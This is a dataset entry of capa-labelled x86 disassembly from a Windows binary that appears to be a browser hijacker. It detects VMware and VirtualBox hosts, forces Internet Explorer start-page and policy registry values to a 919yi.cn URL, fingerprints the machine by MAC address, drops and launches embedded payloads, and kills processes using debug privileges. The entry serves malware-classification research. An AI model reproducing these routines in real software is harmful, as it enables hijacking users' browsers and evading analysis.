joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x25a]
push eax
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x264], 0x12c
call fcn.0040c220
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
push eax
push str.ProviderName
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x401de3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
mov ecx, str.VMware__Inc.
lea eax, [ebp - 0x25c]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e16
test dx, dx
je 0x401e12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e16
add eax, 4
add ecx, 4
test dx, dx
jne 0x401df0
xor eax, eax
jmp 0x401e1b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e32
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
mov ecx, str.Oracle_Corporation
lea eax, [ebp - 0x25c]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e66
test dx, dx
je 0x401e62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e66
add eax, 4
add ecx, 4
test dx, dx
jne 0x401e40
xor ecx, ecx
jmp 0x401e6b
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417aeb
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
test edi, edi
je 0x402061
test esi, esi
je 0x402061
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
push eax
call fcn.0040c220
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push edi
push str.jiuyisecretsid_sm_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x280]
call fcn.004032d0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
call fcn.004048c0
mov edx, eax
cmp word [edx], 0
jne 0x401f36
xor ecx, ecx
jmp 0x401f4f
mov ecx, edx
lea ebx, [ecx + 2]
jmp 0x401f40
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f40
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x280]
call fcn.00403430
push 0x258
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0040c220
add esp, 0xc
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
push esi
push edi
lea eax, [ebp - 0x268]
push str.http:__www.919yi.cn__id_sm_ssM_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x268]
add esp, 0x14
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401fa7
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
sub edi, ecx
sar edi, 1
lea eax, [ebp - 0x268]
lea edi, [edi*2 + 2]
push edi
push eax
push 1
push str.IEHome
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREPoliciesMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
cmp dword [ebp - 0x26c], 8
jb 0x402061
push dword [ebp - 0x280]
call fcn.00408c1d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x425dac]
push esi
test al, 1
jne 0x4020ce
or eax, 1
mov dword [0x425dac], eax
xor eax, eax
push 0x417fd0
mov dword [0x425fec], 7
mov dword [0x425fe8], 0
mov word [0x425fd8], ax
call fcn.00408bd9
add esp, 4
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x49c], 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x40213e
push dword [ebp - 0x49c]
call fcn.00408d7a
mov esi, eax
add esp, 4
test esi, esi
je 0x40213e
lea eax, [ebp - 0x49c]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40213e
cmp dword [esi + 0x1a0], 6
jne 0x402138
lea eax, [esi + 0x10c]
push str.Bluetooth
push eax
call fcn.00408e10
add esp, 8
test eax, eax
je 0x402152
mov esi, dword [esi]
test esi, esi
jne 0x402117
mov eax, str.ERROR_MAC
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0040c220
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x210]
push 0x41ee08
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x210]
mov esi, 0x425fd8
push eax
mov ecx, esi
call fcn.004033e0
cmp dword [0x425fec], 8
mov ecx, dword [ebp - 4]
cmovae esi, dword [0x425fd8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402700
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x460], ax
lea eax, [ebp - 0x45e]
push eax
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x478], 0x100
call fcn.0040c220
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.0040c220
add esp, 0x18
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x474]
push eax
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x460]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4027bc
test dx, dx
je 0x4027b8
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4027bc
add ecx, 4
add eax, 4
test dx, dx
jne 0x402796
xor eax, eax
jmp 0x4027c1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4028a1
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4028a1
push 0x256
push eax
mov word [ebp - 0x260], ax
lea eax, [ebp - 0x25e]
push eax
call fcn.0040c220
movzx eax, byte [ebp - 0x461]
push eax
movzx eax, byte [ebp - 0x462]
push eax
movzx eax, byte [ebp - 0x463]
push eax
movzx eax, byte [ebp - 0x464]
push eax
movzx eax, byte [ebp - 0x465]
push eax
movzx eax, byte [ebp - 0x466]
push eax
movzx eax, byte [ebp - 0x467]
push eax
movzx eax, byte [ebp - 0x468]
push eax
movzx eax, word [ebp - 0x46a]
push eax
movzx eax, word [ebp - 0x46c]
push eax
push dword [ebp - 0x470]
lea eax, [ebp - 0x260]
push str._08X_04X_04x_02X_02X_02X_02X_02X_02X_02X_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x260]
add esp, 0x40
lea edx, [ecx + 2]
jmp 0x402870
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402870
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x260]
push eax
push 1
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402940
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417ab8
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 8]
push eax
movzx eax, dx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp - 0x34]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x30]
push ecx
push edi
push esi
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402a30
push 0x1f
push str.9eError:mReleaseRes__WriteFile
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
call fcn.00403430
push dword [ebp - 0x34]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.00403330
cmp dword [ebp - 0x3c], 8
jb 0x402a1f
push dword [ebp - 0x50]
call fcn.00408c1d
add esp, 4
cmp dword [ebp - 0x18], 8
jb 0x402a30
push dword [ebp - 0x2c]
call fcn.00408c1d
add esp, 4
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402a70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4179fb
mov eax, dword fs:[0]
push eax
sub esp, 0x2ec
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x40
lea eax, [ebp - 0x2c8]
push 0
push eax
call fcn.0040c220
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x29c], ax
mov word [ebp - 0x26c], ax
lea eax, [ebp - 0x26a]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2dc], 0
movq qword [ebp - 0x2d8], xmm0
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0x44
mov dword [ebp - 0x2a0], 1
call fcn.0040c220
mov ecx, edi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402b10
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea eax, [ebp - 0x26c]
push 0x12c
push eax
call fcn.00408cbc
add esp, 0x10
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2cc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x26c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402be1
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x270], 7
mov dword [ebp - 0x274], eax
mov word [ebp - 0x284], ax
call fcn.00403430
push edi
lea edx, [ebp - 0x284]
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x284]
push eax
call fcn.00403330
cmp dword [ebp - 0x2e0], 8
jb 0x402bca
push dword [ebp - 0x2f4]
call fcn.00408c1d
add esp, 4
cmp dword [ebp - 0x270], 8
jb 0x402be1
push dword [ebp - 0x284]
call fcn.00408c1d
add esp, 4
cmp esi, 0xfa1
je 0x402bf6
push esi
push dword [ebp - 0x2d8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402c20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4179bb
mov eax, dword fs:[0]
push eax
sub esp, 0x2e8
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x40
lea eax, [ebp - 0x2c4]
push 0
push eax
call fcn.0040c220
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x298], ax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2d8], 0
movq qword [ebp - 0x2d4], xmm0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0x44
mov dword [ebp - 0x29c], 1
call fcn.0040c220
mov ecx, esi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402cc0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebp - 0x268]
push 0x12c
push eax
call fcn.00408cbc
add esp, 0x10
lea eax, [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x2c8]
push eax
push edi
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402d90
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x26c], 7
mov dword [ebp - 0x270], eax
mov word [ebp - 0x280], ax
call fcn.00403430
push esi
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x280]
push eax
call fcn.00403330
cmp dword [ebp - 0x2dc], 8
jb 0x402d79
push dword [ebp - 0x2f0]
call fcn.00408c1d
add esp, 4
cmp dword [ebp - 0x26c], 8
jb 0x402d90
push dword [ebp - 0x280]
call fcn.00408c1d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x402db0
Capabilities:
Acquire debug privileges
Enumerate processes
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402de9
push str._fProcessMonitor_:_INVALID_HANDLE_VALUE
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor esi, esi
jmp 0x402eeb
lea eax, [ebp - 0x250]
push eax
push esi
mov dword [ebp - 0x250], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ecx]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x22c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402e47
test dx, dx
je 0x402e43
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402e47
add eax, 4
add ecx, 4
test dx, dx
jne 0x402e21
xor eax, eax
jmp 0x402e4c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402ed2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402eb6
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call ebx
test eax, eax
je 0x402eb1
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x248]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402e10
lea esi, [eax + 1]
cmp dword [ebp + 0x1c], 8
jb 0x402efc
push dword [ebp + 8]
call fcn.00408c1d
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408453
mov esp, ebp
pop ebp
ret
Function at 0x4048c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417b2b
mov eax, dword fs:[0]
push eax
sub esp, 0x4b4
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push 0x3ff
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.0040c220
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404912
sub ecx, edx
sar ecx, 1
push ecx
push esi
push 0x400
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00409825
add esp, 0x14
cmp byte [ebp - 0x414], 0
mov byte [ebp - 0x43c], 0
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x4a4], 0x67452301
mov dword [ebp - 0x4a0], 0xefcdab89
mov dword [ebp - 0x49c], 0x98badcfe
mov dword [ebp - 0x498], 0x10325476
mov dword [ebp - 0x4a8], 0xf
mov dword [ebp - 0x4ac], 0
mov byte [ebp - 0x4bc], 0
jne 0x4049a9
xor ecx, ecx
jmp 0x4049bb
lea ecx, [ebp - 0x414]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4049b2
sub ecx, edx
push ecx
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.00401730
cmp dword [ebp - 0x4a8], 0x10
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x4bc]
cmovae eax, dword [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00403de0
cmp dword [ebp - 0x4a8], 0x10
jb 0x404a0b
push dword [ebp - 0x4bc]
call fcn.00408c1d
add esp, 4
lea eax, [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00404880
mov edx, eax
mov dword [ebp - 4], 0
cmp dword [edx + 0x14], 0x10
jb 0x404a2e
mov edx, dword [edx]
mov dword [ebp - 0x41c], 0xf
mov dword [ebp - 0x420], 0
mov byte [ebp - 0x430], 0
cmp byte [edx], 0
jne 0x404a52
xor ecx, ecx
jmp 0x404a60
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404a57
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x430]
call fcn.00401730
cmp dword [ebp - 0x4a8], 0x10
jb 0x404a84
push dword [ebp - 0x4bc]
call fcn.00408c1d
add esp, 4
mov edx, dword [ebp - 0x41c]
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x430]
cmp edx, 0x10
cmovae ecx, esi
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404aa0
sub ecx, edi
push ecx
cmp edx, 0x10
lea eax, [ebp - 0x430]
cmovae eax, esi
push eax
push 0x400
lea eax, [ebp - 0x418]
push 0x424b58
push eax
call fcn.00409a7e
add esp, 0x14
cmp dword [ebp - 0x41c], 0x10
jb 0x404ae7
push dword [ebp - 0x430]
call fcn.00408c1d
add esp, 4
mov eax, 0x424b58
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408453
mov esp, ebp
pop ebp
ret 4
Function at 0x406250
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x4223fc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call fcn.00401c40
mov edx, eax
cmp word [edx], 0
jne 0x40627b
xor ecx, ecx
jmp 0x40628f
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406280
sub ecx, edi
sar ecx, 1
push ecx
push edx
mov ecx, 0x423654
call fcn.00403430
cmp dword [ebp + 0xc], 0
jne 0x4062b1
mov ecx, esi
call fcn.004061a0
test ax, ax
je 0x406383
push 0
push esi
push 0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0xcf0000
push 0
push 0x41f5a8
push 0x200
mov dword [0x425358], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x406383
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
xorps xmm0, xmm0
mov dword [esp + 0x10], 0
movq qword [esp + 0x14], xmm0
movq qword [esp + 0x1c], xmm0
movq qword [esp + 0x24], xmm0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
je 0x406333
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x40636b
lea eax, [esp + 0x10]
push eax
call ebx
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x406333
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00408453
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00408453
mov esp, ebp
pop ebp
ret 0x10
Function at 0x407940
Capabilities:
Connect to wmi namespace via wbemlocator
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test eax, eax
je 0x40795e
push str.WMI_DeviceQuery_Init:faild
call edi
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
je 0x407981
push str.WMI_DeviceQuery_Init:faild
call edi
push 0x425360
push 0x41e7a8
push 1
push 0
push 0x41e878
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [0x425360], 0
jne 0x4079b4
push str.WMI_DeviceQuery_Init:faild
call edi
mov eax, 0xfffffffe
pop edi
mov esp, ebp
pop ebp
ret
push ecx
lea ecx, [ebp - 4]
call fcn.00407320
mov edx, dword [eax]
test edx, edx
je 0x4079c7
mov edx, dword [edx]
jmp 0x4079c9
xor edx, edx
mov eax, dword [0x425360]
push esi
mov ecx, dword [eax]
push 0x42535c
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
call dword [ecx + 0xc]
mov esi, dword [ebp - 4]
test esi, esi
je 0x407a33
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x407a33
test esi, esi
je 0x407a33
mov eax, dword [esi]
test eax, eax
je 0x407a13
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x407a2a
push eax
call fcn.00408bee
add esp, 4
mov dword [esi + 4], 0
push esi
call fcn.00408c1d
add esp, 4
mov eax, dword [0x42535c]
pop esi
test eax, eax
je 0x4079a3
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push eax
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
je 0x407a61
push str.WMI_DeviceQuery_Init:faild
call edi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret